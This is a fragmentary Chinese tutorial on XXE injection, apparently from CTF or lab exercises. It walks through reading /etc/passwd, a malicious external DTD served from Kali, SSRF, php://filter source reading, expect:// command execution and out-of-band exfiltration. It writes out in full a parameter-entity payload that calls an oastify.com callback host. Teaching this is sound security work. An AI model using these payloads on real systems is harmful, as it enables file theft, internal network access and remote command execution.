XXE漏洞
XXE漏洞
前置知识:XML
XML是什么?
XML是一种标记语言,XML指可扩展标记语言(EXtensensible Markup Language),把数据结构化后传输给对方让对方在结构化的数据中进行读取
标签无意义且没有功能性,被设计为具有自我描述性:


XML与HTML的区别?

XML基本语法
1.所有XML标签必须闭合
2.XML必须进行正确的嵌套
3.标签对大小写敏感
4.XML文档必须要有根元素(所有其他元素的父元素)
1
2
3
4
5<root>
<student>
<name>......</name>
</student>
</root>5.没有缩进要求,建议首行缩进
6.头声明可有可无(定义XML版本和所使用的编码),建议写
<?xml version="1.0" encoding="utf-8"?>7.实体引用:在xml中,一些字符拥有特殊的意义。
如果把字符 “<” 放在XML元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
<message>if salary < 11000 then </message>报错!!!
为了避免这个错误,会使用实体引用来代替 “<” 字符
<message>if salary < 11000 then </message>

使用php解析xml文档
- 1.php页面调用xml

2.**使用DOMDocument读取XML文档 **


指定读取:

混合读取:

DTD声明(Document Type Definition)
(文档类型定义可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构)
- 内部的声明:(没有DTD时xml文件可以随意定义添加标签)


2.外部引入DTD文件:

XML几种实体介绍
什么是实体?
实体是对数据的引用;根据实体种类的不同,XML解析器将使用实体的替代文本或者外部文档的内容来替代实体引用(使用实体可以去掉字符的含义)

实体演示:

实体可迭代使用
XXE漏洞产生主要原因是外部调用文件
参数实体:

XXE漏洞成因介绍
XXE(XML External Entity Inject)全称 XML外部实体注入
XXE漏洞演示:

利用file伪协议读取 /etc/passwd

不同程序支持的伪协议:

XXE使用外部实体读取文件:
列题:
进入题目发现是一个登录框,输入成功或者失败都会回显出用户名

此时查看源码发现是XML格式的提交

可以利用用户名会回显这点外部实体读取文件

参数实体及http伪协议XXE利用
此时对伪协议做了过滤,无法读取目标文件

1 | 此时可尝试命名实体,(命名实体只能在DTD文档内使用)在kali中创建 1.dtd文件(内容为:<!DOCTYPE root [<!ENTITY ben SYSTEM "file:///etc/passwd">]>),再 ip add获取kali的ip,python3 -m http.server 80 开启http服务,再远程访问该kali上的1.dtd文件,利用参数实体 |

利用XXE进行SSRF利用:
(http://10.1.2.3为内网ip地址)

获取flag

XXE利用php伪协议读取文件
想要读取源码index.php,如果直接读取的话会被页面解析掉,导致看不到源码,所以可以使用base64编码后回显,再base64解码的方式得到源码,使用php://filter

利用expect扩展进行命令执行
expect协议 处理交互式的流
expect伪协议里提交命令(前提:PHP安装expect扩展)

注意:expect伪协议里出现以下七个字符会报错

无回显XXE带外数据
1.查看漏洞:
法一:DNSlog查看漏洞
<!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://vzyhtmj4aswbu8q21dusvheo3f96xxlm.oastify.com">] %xxe>

法二:nc查看漏洞

2.带外数据
在kali里写入一个1.dtd文件,同时监听端口(7777)

让目标网站去读取kali里的1.dtd文件

Xinclude
xinclude可以包含一个XML文件,调用一个写好的XML文件
基本语法:

实列:

与php文件包含区别:

代码解释:

靶场操作:

利用SVG进行XXE漏洞利用
SVG文件介绍:

1 | <?xml version="1.0" standalone="yes"?> ——固定格式 |
结果显示:
